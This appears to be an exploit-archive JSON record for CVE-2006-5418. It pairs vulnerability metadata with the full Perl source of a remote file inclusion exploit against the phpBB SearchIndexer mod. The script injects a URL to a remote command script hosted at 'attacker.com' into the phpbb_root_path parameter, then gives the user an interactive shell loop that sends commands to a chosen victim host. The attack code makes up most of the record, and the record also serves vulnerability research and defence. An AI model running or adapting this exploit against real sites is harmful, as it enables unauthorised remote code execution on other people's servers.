{"exploit":{"id":"EDB-2549","name":"phpBB SearchIndexer Mod - 'archive_topic.php' Remote File Inclusion (RFI)","description":"phpBB SearchIndexer Mod - 'archive_topic.php' Remote File Inclusion (RFI)","cves":["CVE-2006-5418"],"author":"Nima Salehi","published":"2006-10-13","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2549","path":"exploits/php/webapps/2549.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2549.pl","vulnerabilities":[{"id":"CVE-2006-5418","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in archive/archive_topic.php in pbpbb archive for search engines (SearchIndexer) (aka phpBBSEI) for phpBB allows remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-5418","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-5418"},"updatedAt":"2024-08-07T19:48:30.552Z","retrievedAt":"2026-11-27T11:10:01.748Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2549.png?v=2","url":"https://exploitbin.com/exploits/EDB-2549","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2549/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2549/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n\n#####################################################################################################\n#                                                                                                   #\n# pbpbb archive for search engines                                                                  #\n#                                                                                                   #\n# Class:  Remote File Include Vulnerability                                                         #\n#                                                                                                   #\n# Patch:  unavailable                                                                               #\n#                                                                                                   #\n# Date:   2006/10/12                                                                                #\n#                                                                                                   #\n# Remote: Yes                                                                                       #\n#                                                                                                   #\n# Type:   high                                                                                      #\n#                                                                                                   #\n# Site:   http://mambopower.net/       http://www.mambopower.net/downloads/phpbb_searchindexer.zip  #\n#                                                                                                   #\n#####################################################################################################\n\n\nuse IO::Socket;\nuse LWP::Simple;\n\n$cmdshell=\"http://attacker.com/cmd.txt\";   # <====== Change This Line With Your Personal Script\n\nprint \"\\n\";\nprint \"##########################################################################\\n\";\nprint \"#                                                                        #\\n\";\nprint \"# pbpbb archive for search engines     Remote File Include Vulnerability #\\n\";\nprint \"# Bug found By : Ashiyane Corporation                                    #\\n\";\nprint \"# Email: nima salehi    nima[at]ashiyane.ir                              #\\n\";\nprint \"# Web Site : www.Ashiyane.ir                                             #\\n\";\nprint \"#                                                                        #\\n\";\nprint \"##########################################################################\\n\";\n\n\nif (@ARGV < 2)\n{\n    print \"\\n Usage: Ashiyane.pl [host] [path] \";\n    print \"\\n EX : Ashiyane.pl www.victim.com /path/  \\n\\n\";\nexit;\n}\n\n\n$host=$ARGV[0];\n$path=$ARGV[1];\n$vul=\"includes/archive/archive_topic.php?phpbb_root_path=\"\n\nprint \"Type Your Commands ( uname -a )\\n\";\nprint \"For Exiit Type END\\n\";\n\nprint \"<Shell> \";$cmd = <STDIN>;\n\nwhile($cmd !~ \"END\") {\n    $socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"$host\", PeerPort=>\"80\") or die \"Could not connect to host.\\n\\n\";\n\n    print $socket \"GET \".$path.$vul.$cmdshell.\"?cmd=\".$cmd.\"? HTTP/1.1\\r\\n\";\n    print $socket \"Host: \".$host.\"\\r\\n\";\n    print $socket \"Accept: */*\\r\\n\";\n    print $socket \"Connection: close\\r\\n\\n\";\n\n    while ($raspuns = <$socket>)\n    {\n        print $raspuns;\n    }\n\n    print \"<Shell> \";\n    $cmd = <STDIN>;\n}\n\n# milw0rm.com [2006-10-13]","sha256":"33e6fb512776c84528f09493a7644bb3fcd37657452ed38730bc127067933140","bytes":3416,"fetchedAt":"2026-11-27T11:09:56.565Z","encoding":"utf-8 (display only; download retains original bytes)"}